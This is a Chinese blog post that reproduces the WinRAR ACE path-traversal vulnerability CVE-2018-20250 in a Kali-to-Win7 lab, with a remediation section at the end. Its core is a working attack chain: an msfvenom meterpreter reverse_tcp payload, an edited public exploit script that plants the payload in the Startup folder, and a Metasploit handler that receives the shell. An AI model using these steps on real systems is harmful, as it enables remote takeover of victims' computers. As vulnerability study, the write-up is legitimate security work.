winrar-CVE-2018-20250漏洞复现

上月,安全公司 CheckPoint 安全研究员 Nadav Grossman 在一篇文中披露,WinRAR 中存在严重漏洞,可完全控制受害者的计算机。

漏洞简介

该漏洞处于 WinRAR 的模块(UNACEV2.dll)中,主要用于解析 ACE文件格式,在解压处理的过程中存在一处目录穿越漏洞,允许解压过程中将文件写入启动文件夹中,导致系统重启后攻击者代码得到执行。

影响版本

  • WinRAR < 5.70 Beta 1
  • Bandizip < = 6.2.0.0
  • 好压(2345压缩) < = 5.9.8.10907
  • 360压缩 < = 4.0.0.1170

利用过程

攻击者能够精心构建一个 ACE 恶意文件,当该恶意文件用WinRAR 打开时,会利用 UNACEV2.dll 的目标路径,将文件解压到攻击者选择的路径位置。攻击者可以通过从 ACE 存档中提取压缩的可执行文件到其中一个启动文件夹,从而获得代码执行。启动文件夹如:

  • C:\ProgramData\Microsoft\Windows\StartMenu\Programs\StartUp
  • C:\Users<用户名>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

漏洞复现

攻击端使用Kali,IP如下:

被攻击端使用win7,IP如下:

生成后门

在Kali下输入以下命令生成后门:

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击端IP LPORT=监听端口 -f exe -o msf.exe

生成了后门程序,文件名是msf.exe。

生成钓鱼rar

下载exp:https://github.com/WyAtu/CVE-2018-20250/archive/master.zip

拷贝至Kali下,打开exp.py,修改以下两处:

1
2
3
4
5
# The evil file you want to run
evil_filename = "msf.exe"

# This command may be different, it depends on the your Python3 environment.
p = os.popen('python3 acefile.py --headers %s'%(filename))

第一处将文件名修改为后门程序的文件名,第二处根据python3环境修改引号中的命令,我这里如果不修改的话会报list index out of range

然后运行exp.py。

开启监听

Kali下打开metasploit-framework

输入如下命令生成后门:

1
2
3
4
5
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 攻击端IP
set LPORT 监听端口
exploit

布置漏洞环境

将生成的钓鱼rar拷贝至win7,解压运行,解压位置出现hello.txt和world.txt两个诱饵文件,启动目录里还悄悄写入了后门程序hi.exe。

利用成功

重启win7后,后门程序会自启动。攻击端会拿到shell。

修复方法

  1. 删除 UNACEV2.dll文件;

  2. 使用最新的 5.70 Beta 1 以及上版本。

但愿我的博文能对您有所帮助~